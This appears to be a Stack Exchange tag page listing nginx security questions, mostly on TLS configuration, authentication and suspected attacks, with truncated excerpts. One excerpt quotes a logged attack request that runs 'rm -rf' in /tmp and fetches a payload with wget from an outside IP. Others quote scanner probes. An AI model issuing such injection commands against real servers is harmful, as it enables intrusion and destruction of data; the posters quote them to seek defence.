Questions tagged [nginx]

nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev

Filter by
Sorted by
Tagged with
67
votes
7answers
72k views

Trying to make a Django-based site use HTTPS-only, not sure if it's secure?

The EFF recommends using HTTPS everywhere on your site, and I'm sure this site would agree. When I asked a question about using Django to implement HTTPS on my login page, that was certainly the ...
56
votes
4answers
76k views

Strange requests to web server

I have a Linode VPS running Nginx, which currently serves only static content. Once I was looking at the log and noticed some strange requests: XXX.193.171.202 - - [07/Aug/2013:14:04:36 +0400] "GET /...
50
votes
5answers
13k views

What exploit are these user agents trying to use?

I just looked at my user agent tracking page on my site (archived on Yandex) and I noticed these user agents. I believe they are an attempt to exploit my server (Nginx with PHP). The 1 in front of it ...
37
votes
7answers
62k views

Recommended ssl_ciphers for security, compatibility - Perfect Forward secrecy

I'm currently using nginx with the following ciphers: ssl_ciphers HIGH:!aNULL:!eNULL:!LOW:!ADH:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS; I would like to maintain compatibility to older browsers, ...
22
votes
2answers
48k views

SSL/TLS: How to fix “Chain issues: Contains anchor”

I just ran a quick test at ssllabs.com: got A+, which I'm happy about. However there's one thing I don't know how to "fix": My site supports OCSP stapling and ssllabs keeps telling me: Chain issues: ...
20
votes
4answers
2k views

Dealing with SSL Certificates on Products

We are developing a product (device / system) that will be installed on customer sites. Many of our customers will (should) be concerned about security, and should be thinking about it seriously. Our ...
19
votes
3answers
8k views

Nginx and HSM integration to hold private keys

We are using Nginx and storing private keys in a file on the server. We would like to move our private keys to an HSM so that SSL keys are stored in the HSM and never leave the HSM. All crypto ...
18
votes
1answer
9k views

Is every hash format that nginx accepts for HTTP Basic Auth weak against brute force?

According to http://nginx.org/en/docs/http/ngx_http_auth_basic_module.html nginx can read password hashes of these types: crypt(), apr1, SHA1 & SSHA. This is how I understand how these hashes work ...
16
votes
4answers
22k views

nginx - How to prevent processing requests with undefined server names with HTTPS

How do I avoid nginx processing a request with an undefined server name using the https protocol. The following configuration makes this work for normal http requests. It resets the connection for ...
15
votes
6answers
6k views

Server compromised for 2nd time, cannot locate source of attack

I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads. According to the filesystem dates, ...
15
votes
1answer
10k views

Current State of BREACH (GZIP SSL Attack)?

It has been one year since BREACH made our way into our hearts, and there does not seem to be any articles or posts or patches since then, is my Google-fu weakening? Has BREACH been mitigated or ...
14
votes
3answers
4k views

How can I explain to the client that rfc2385 TCP MD5 Checksums can't be turned on for linux webservers?

I've had a long running conversation with a client where they perform a Rapid7 security scan which then warns about TCP MD5 checksums missing on port 80. This is what I think I know: RFC 2385 was ...
13
votes
3answers
10k views

What can I do after an attack to our system that hit our login route?

This morning I checked our nginx logs. 46.x.x.90 - - [17/Jul/2017:05:51:31 +0000] "HEAD http://x.x.71.1:80/PMA2011/ HTTP/1.1" 301 0 "-" "Mozilla/5.0 Jorgee" "-" 46.x.x.90 - - [17/Jul/2017:05:51:31 +...
11
votes
2answers
5k views

What are the dangers of storing webserver temp files in the /tmp/ folder?

I have configured my first publicly accessible nginx server. I have configured it to use a /tmp/nginx folder to store temp files. This includes the body of http requests, proxy files etc. The /tmp ...
8
votes
1answer
1k views

Regenerating dhparam periodically

Does it increase connection security if I regenerate the dhparam files used with NGINX on our servers periodically e.g. every week? What issues may arise from this? Is there any benefit in doing ...
8
votes
1answer
6k views

Any security risk with raising client_max_body_size nginx?

i was wondering if there is any securitiy risk involved with raising the client_max_body_size in nginx from 1MB to 20GB?
7
votes
2answers
546 views

What are the potential vulnerabilities of allowing a large http body size?

With NGINX and PHP I am allowing 5GB files to be 'uploaded' to my server although they will not be downloaded unless they are 'legitimate' (that is for another question ;)). I was wondering is this is ...
6
votes
2answers
5k views

Turned on cgi.fix_pathinfo still “dangerous” in Nginx?

In this article in digitalocean.com Justin Ellingwood recommends to turn off cgi.fix_pathinfo: Inside, we need to find a section that configures the cgi.fix_pathinfo behavior. It will be ...
6
votes
2answers
6k views

What approach would you choose to defend againt DDoS attacks from Nginx level?

I use Nginx compiled with the Naxsi module to protect against some vulnerabilities (SQL injection and cross-site scripting). Now I need to apply a layer of poor man's DDoS protection at this level. I ...
6
votes
2answers
7k views

nginx recommended ssl_ciphers

I am looking for some advice on setting the ciphers for nginx with SSL. What would you recommend for a good compromise between security and compatiblity at the moment? I have made some research but ...
6
votes
1answer
3k views

HTTP attack taking down PHP-FPM [closed]

Someone started attacking my site a few minutes ago and its caused PHP-FPM to max out all cores (4) on my vps and NGINX is now serving 502 to all users. I'm seeing a bunch of these requests with tons ...
6
votes
0answers
751 views

CRL check for TLS client certificate on Linux? [closed]

I run a HTTPS web service. Clients authenticate using a TLS Client Certificate. How do I configure a standard Linux web server (preferably Apache) to validate client certificates against their CRLs? ...
5
votes
3answers
6k views

NGINX Hacking Attempt

Every time I start my test-server and let it run for some days I get this in my log-files (in different variations): 111.241.26.165 - - [18/Feb/2014:22:16:45 +0100] "\x04\x01\x00\x19\xCBER!\x00" 400 ...
5
votes
2answers
2k views

HTTPS and Basic Auth

I've set up an NGINX reverse proxy on my home server with dynamic DNS from my website 'stuff.mydomain.com' along with a certificate from letsencrypt. I'm using basic auth to authenticate users. When ...
5
votes
2answers
3k views

Restarting nginx with Jenkins or Phing - is it safe to allow Jenkins to run sudo without prompt for password

I am implementing the recommendations from Integrating PHP projects with Jenkins for my own PHP projects. I have created a jenkins user in my ubuntu 12.10 server. I used Phing as my build tool and I ...
5
votes
2answers
596 views

Strange escape codes in a GET request - is this a known attack?

I recently came across some entries in nginx's access logs that resemble the following: ##.##.##.## - - [24/Sep/2014:01:21:51 -0400] "GET /767/browser-wars-side-show-ho w-natty-handles-the-load/++++++...
5
votes
1answer
1k views

PFS on nginx: only RC4 gets used (TLS_ECDHE_RSA_WITH_RC4_128_SHA)

I'm trying to configure my webserver for perfect forward secrecy. I'm using ssl_ciphers EECDH+ECDSA+AESGCM:EECDH+ECDSA+AESCBC:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+AESCBC:EECDH+aRSA+RC4:...
5
votes
1answer
2k views

Extracting openssl pre-master secret from nginx

I have to store pre-master keys for all TLS connections due to regulator request. We are using nginx to terminate TLS. I've read Extract pre-master keys from an OpenSSL application and especially ...
4
votes
2answers
4k views

Make nginx drop requests to timeout client on purpose

I want to avoid nginx from processing requests and hiding the fact that it even exists at a certain IP by not answering at all. The requests should be dropped and the client's browser should time out ...
4
votes
1answer
11k views

End-to-end encryption with a reverse proxy and an application server

Lets say that I have an nginx reverse proxy that proxies the traffic to a Tomcat on the same server. I think the most common way to configure this setup is to enable SSL on nginx and then proxy the ...
4
votes
1answer
364 views

Reverse Proxy SSL

I am having trouble finding out if a potential server configuration is secure. I have a server running a nginx reverse proxy that is accessible from a public ip address on the ports 80 and 443. I then ...
4
votes
2answers
737 views

How can nginx run a file with jpg extension as a php file?

I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run www.something.com/blan.php/one/two/3 and one/...
4
votes
1answer
834 views

What does an unquoted shell variable allow?

I have the following dash (dash is the default Ubuntu shell instead of bash) code which run in a server side script. This script is not run by the root user. git clone -b $DEFAULT_BRANCH file://$...
4
votes
2answers
184 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
4
votes
1answer
3k views

Basic nginx securing / restricted access [closed]

I run a private virtual server on Ubuntu 14.04 and I use Nginx as my http server and/or reverse proxy. I run multiple webapps on this server, most of them are fresh open source projects. UPDATE : ...
4
votes
1answer
6k views

Nginx - SSL Website shows up on desktop but not mobile

So I bought a Comodo SSL from Namecheap and put my site up on a Ubuntu droplet on DigitalOcean on a nginx server. My default virtual host file on /etc/nginx/sites-available/: server { listen ...
3
votes
2answers
396 views

User authentication: In HTTP Server vs. in Web Application

Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
3
votes
1answer
5k views

My web server is hit by strange traffic, what is that?

I'm a noob and just set-up a linode account to play around with linux development. I started nginx and made a simple homepage for my domain (giuliopizzini.com). Today I checked the nginx logs and ...
3
votes
1answer
134 views

I'm moving my website to a new server, what implications does this have for my SSL certificate?

I run a website which I serve over https and https only (add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";) The ssl certificate I bought came from namecheap.com, ...
3
votes
1answer
130 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
3
votes
1answer
861 views

Are these log messages in my nginx server evidence of an attempted attack?

My AWS Elastic Beanstalk server is often reporting Environment health has transitioned from Ok to Severe. 100.0 % of the requests are erroring with HTTP 4xx. This happens almost daily for a few ...
3
votes
1answer
240 views

How to set basic defense on Nginx-CMS?

As an Information Security amateur I did all in my might to protect my Ubuntu-Nginx-CMS (WordPress) environment from BFAs, MITMs, and database injections. sudo add-apt-repository ppa:certbot/certbot -...
3
votes
3answers
976 views

Can PHP crash and expose source code?

I am running NGINX and PHP fast CGI. I have a simple PHP website witch has some credentials hardcoded inside the source code. Will nginx serve the actual source code of the website instead of the ...
3
votes
1answer
2k views

Nginx forwarding undesired hosts to Django

I've been getting errors from Django on my webserver (behind Nginx/uWSGI) complaining that it's being accessed with a request where the Host is the IP address of the server. Nginx is using virtual ...
3
votes
1answer
495 views

Protecting web site with nginx 301 redirect and HTTP firewall

I am setting up a hobby web site and trying to make it as secure as possible. The backend is nginx + uwsgi. I have set up the HTTPS connection. For non-SSL requests, I have the following rules in ...
3
votes
2answers
801 views

Why does SSLLabs say our site is vulnerable to POODLE when we've disabled SSL V3?

An SSLLabs security test of our site says it's vulnerable to POODLE. This tutorial told me I should switch off SSL3. But when I checked our nginx .conf file for the website SSL3 was already off. What ...
3
votes
3answers
3k views

SSL ciphers for nginx to support CloudFlare and CloudFront

Could someone suggest an optimal ssl cipher configuration for my nginx server that supports both CloudFlare and CloudFront? I have tried a few of the suggestions in other threads, but CloudFront ...
3
votes
0answers
83 views

Is this nginx config suitable to enforce proper authorization?

Scenario I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
2
votes
2answers
1k views

Should we enable TLS on backend connection after reverse proxy? [duplicate]

I have a reverse proxy (e.g. nginx, nghttpx, haproxy) that proxies connection to a service running on the same physical server. I think the most common way to configure this setup is to enable TSL ...
2
votes
1answer
101 views

Is it a good practice to forbid IP access to port 80?

I see some sites have blocked there port 80 (or 443) to be accessed by IP. When you access by IP, an Nginx forbidden page shows up (with there OS version). My question is does it affect any side of ...